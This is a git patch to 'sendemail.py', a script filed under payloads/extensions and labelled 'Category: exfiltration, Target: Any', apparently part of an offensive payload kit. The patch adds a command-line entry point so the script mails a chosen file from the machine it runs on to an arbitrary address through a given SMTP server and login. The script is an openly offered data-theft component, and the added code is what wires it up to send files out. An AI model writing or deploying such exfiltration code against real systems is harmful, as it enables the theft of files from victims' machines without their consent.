From 66bd94489babd04b8f8eef3246c00202aeb729ae Mon Sep 17 00:00:00 2001 From: TheDragonkeeper Date: Tue, 7 Nov 2017 22:46:07 +0000 Subject: [PATCH] Update sendemail.py --- payloads/extensions/sendemail.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/payloads/extensions/sendemail.py b/payloads/extensions/sendemail.py index c26d45f..299d261 100644 --- a/payloads/extensions/sendemail.py +++ b/payloads/extensions/sendemail.py @@ -5,7 +5,7 @@ # Version: 1.0 # Category: exfiltration # Target: Any - +import sys import smtplib, os from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase @@ -78,3 +78,15 @@ def send_mail(send_from, send_to, subject, text, files=None, smtp.login(username, password) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close() + + +if len(sys.argv) > 8: + send_mail(sys.argv[1], sys.argv[2], + sys.argv[3], + sys.argv[4], + server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]]) +else: + send_mail(sys.argv[1], sys.argv[2], + sys.argv[3], + sys.argv[4], +server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])